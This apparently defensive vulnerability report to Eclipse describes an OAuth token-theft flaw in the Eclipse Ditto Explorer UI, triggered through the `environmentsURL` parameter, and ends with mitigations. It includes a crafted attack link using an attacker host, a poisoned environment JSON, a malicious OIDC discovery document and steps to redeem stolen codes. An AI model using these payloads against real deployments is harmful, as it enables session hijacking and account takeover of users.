<!--############################ Do not remove the line above ############################--> <!--Note that this issue is configured (see the quick actions at the bottom) to be created as confidential. Note that a vulnerability does not need to actually be resolved before it is reported and that these reports can be revised as needed (reopen the issue to request changes). If you do not know how to fill certain fields, mark that in the comment and we will help you.--> <!--Required. Specify the project's name (e.g., "Eclipse Dash") and Eclipse Foundation ID, e.g., "technology.dash".--> ## Basic information **Project name:** Eclipse Ditto (Ditto Explorer UI, hosted at https://eclipse-ditto.github.io/ditto/ and in the `eclipse-ditto` repository under `ui/` / `ditto-explorer`) **Project id:** eclipse.ditto (please adjust to the official Eclipse project id) ## What are the affected versions? All versions of the Ditto Explorer that support loading an environment via the `?environmentsURL=` query parameter and that accept OIDC provider configuration (authority, client_id, redirect_uri, `autoSso`) inside such an environment. This includes the currently hosted build at eclipse-ditto.github.io/ditto/ (verified 2026-10-05). Exact first-affected version not determined; the feature has been present for a long time. ## Details of the issue The Explorer allows its complete environment — including the OIDC authentication settings — to be supplied through the `?environmentsURL=<url>` query parameter. The page fetches that URL and adopts the returned JSON as its active environment, without any user confirmation of the new authentication configuration. Because the OIDC provider object inside that environment controls `authority`, the embedded `oidc-client-ts` performs OIDC discovery against an **attacker-chosen issuer**. The attacker's discovery document can declare the _real_ authorization endpoint while pointing the **token endpoint (and userinfo/end-session endpoints) at the attacker's server**. This enables a zero-click OAuth authorization-code + PKCE verifier theft against any user who opens a single crafted link on the trusted `eclipse-ditto.github.io` domain: 1. Attacker hosts an environment JSON with `authSettings.oidc.providers.<name>` where `authority` points at an attacker-controlled HTTPS origin, and `autoSso: true`. 2. Victim opens `https://eclipse-ditto.github.io/ditto/?environmentsURL=https://attacker.example/env.json` — a link on the **trusted** Eclipse domain. 3. The Explorer fetches and adopts the environment and — because `autoSso: true` — automatically starts the OAuth flow. No user interaction after opening the link (a login at the real IdP is still required, but it is indistinguishable from a normal login; the attacker's discovery document points the _authorization endpoint at the real IdP_). 4. The victim authenticates at the real IdP. The IdP redirects back to the Explorer's registered `redirect_uri` (the Explorer page itself) carrying the authorization `code`. 5. `oidc-client-ts` exchanges the code at the **attacker's token endpoint** (derived from the attacker-supplied authority at runtime). The attacker's server receives the authorization code **and the PKCE `code_verifier`**. 6. The attacker redeems code + verifier at the **real** token endpoint. PKCE provides no protection because the verifier is stolen together with the code. The attacker obtains the victim's tokens, including the refresh token if the client requests `offline_access`. 7. The attacker's token endpoint can additionally return a syntactically valid token to the victim's Explorer session, so the victim's UI continues to look normal. Additional aggravating factors: * **Persistence:** the adopted environment is persisted in localStorage (`ditto-ui-env`). A later _organic_ visit to the Explorer (no crafted link involved) still authenticates through the attacker's authority — silent re-theft of fresh codes/tokens on every revisit. * **No scheme restriction:** the environment URL (and hence the authority) may be plain `http://`, enabling a network-adjacent attacker. * The provider `displayName` shown in the UI comes from the injected config, so the attacker can display the _genuine_ provider name, removing the last visual cue. * **Real-world exposure:** the hosted Explorer is actively used as the registered `redirect_uri` of real OAuth clients (we are aware of a production setup where a first-party client of a large IoT platform registers `https://eclipse-ditto.github.io/ditto/` as its redirect_uri). For every such deployment, this issue is a full account takeover of the victim's platform identity via a single link. Attack chain at a glance (detailed description below): `crafted link │ ▼ eclipse-ditto.github.io (trusted domain) │ adopts attacker environment (autoSso, authority = attacker) ▼ SSO redirect ──► REAL IdP login (looks normal) ──► auth code back to UI │ ▼ UI token exchange ──► ATTACKER token endpoint (code + PKCE verifier stolen) │ ▼ attacker redeems code ──► REAL IdP token endpoint │ ▼ victim's access + refresh token ──► attacker acts as victim (full API access) + poisoned localStorage: organic revisit re-fires the whole chain` **Impact**: complete theft of the victim's OAuth session (access + refresh tokens) for any IdP/client that uses the Explorer as redirect target, executed with zero post-click interaction on a trusted domain, and persistent across organic revisits. ## Steps to reproduce Here the "attacker" origin is localhost purely to keep the PoC self-contained (the Explorer fetches whatever URL it is given, including plain http — verified). Replace `127.0.0.1` with any CORS-permissive HTTPS origin for a realistic remote attacker. Replace the IdP URLs with your own test Keycloak. **1. Set up a Keycloak test realm** (any 0uth provider of any Org using the service) with a public client whose redirect_uri is `https://eclipse-ditto.github.io/ditto/` (PKCE S256). Create a test user. **2. Start the attacker server** (any static server with `Access-Control-Allow-Origin: *`) on 127.0.0.1:9902, serving: `/env.json` — the poisoned environment: `{ "ATTACK ENV": { "api_uri": "https://your-test-idp-backend.example", "ditto_version": "3", "fieldList": [], "messageTemplates": {}, "filterList": [], "pinnedThings": [], "recentPolicyIds": [], "authSettings": { "main": { "method": "oidc", "oidc": { "enabled": true, "defaultProvider": "ATTACK", "autoSso": true, "provider": "ATTACK" }, "basic": { "enabled": true, "defaultUsernamePassword": "ditto:ditto" }, "bearer": { "enabled": true }, "pre": { "enabled": false } }, "devops": { "method": "basic", "oidc": { "enabled": false, "defaultProvider": "", "autoSso": false, "provider": "" }, "basic": { "enabled": true, "defaultUsernamePassword": "devops:foobar" }, "bearer": { "enabled": false } }, "oidc": { "providers": { "ATTACK": { "displayName": "<genuine provider display name>", "extractBearerTokenFrom": "access_token", "authority": "http://127.0.0.1:9902", "client_id": "<your-test-client-id>", "redirect_uri": "https://eclipse-ditto.github.io/ditto/", "post_logout_redirect_uri": "https://eclipse-ditto.github.io/ditto/", "silent_redirect_uri": "https://eclipse-ditto.github.io/ditto/", "response_type": "code", "scope": "openid", "automaticSilentRenew": true } } } } } }` `/.well-known/openid-configuration` — real authorization endpoint, attacker token endpoint: `{ "issuer": "http://127.0.0.1:9902", "authorization_endpoint": "https://your-test-keycloak.example/realms/test/protocol/openid-connect/auth", "token_endpoint": "http://127.0.0.1:9902/token", "jwks_uri": "https://your-test-keycloak.example/realms/test/protocol/openid-connect/certs", "userinfo_endpoint": "https://your-test-keycloak.example/realms/test/protocol/openid-connect/token", "end_session_endpoint": "http://127.0.0.1:9902/logout", "code_challenge_methods_supported": ["S256"], "grant_types_supported": ["authorization_code"] }` The server must also accept `POST /token` and log the request body (this is where the code + code_verifier arrive). **3. Victim flow:** open `https://eclipse-ditto.github.io/ditto/?environmentsURL=http://127.0.0.1:9902/env.json` The Explorer loads the environment and — with no further interaction — redirects to the _real_ Keycloak login. Log in as the test user. Keycloak redirects back to the Explorer with the code. **4. Observe the attacker server log:** the `POST /token` request contains the victim's authorization `code` and the `code_verifier`. **5. Redemption:** replay code + verifier (same client_id, redirect_uri, grant_type=authorization_code) with `curl` against the _real_ token endpoint. It returns HTTP 200 with the victim's access token (and refresh token, if offline_access was in scope) — the attacker now holds the victim's session, obtained out-of-band, without ever touching the victim's browser again. **6. Persistence check:** close the tab, then navigate _organically_ to `https://eclipse-ditto.github.io/ditto/` (no query parameter). The Explorer resumes from the persisted environment (`localStorage` key `ditto-ui-env`) and again authenticates via the attacker authority — a fresh code + verifier arrives at the attacker's server. ## Do you know any mitigation of the issue? * **Never accept authentication settings from a URL-supplied environment.** Treat `environmentsURL` as a convenience for _non-auth_ settings (api_uri, filter lists, templates) and ignore/strip `authSettings` (or at least `authSettings.oidc.providers.*.authority` / `client_id` / `redirect_uri`) from environments loaded via query parameter. * **Require explicit user confirmation** before adopting an environment that changes the active OIDC authority — a visible dialog naming the new authority origin ("This environment wants you to sign in via `attacker.example`"). * **Disable `autoSso` for injected/first-adopted environments** — the automatic start of the OAuth flow is what makes the chain zero-click. * **Do not persist auth settings to localStorage** (`ditto-ui-env`) when they originate from a query-parameter environment; at minimum, expire them on tab close.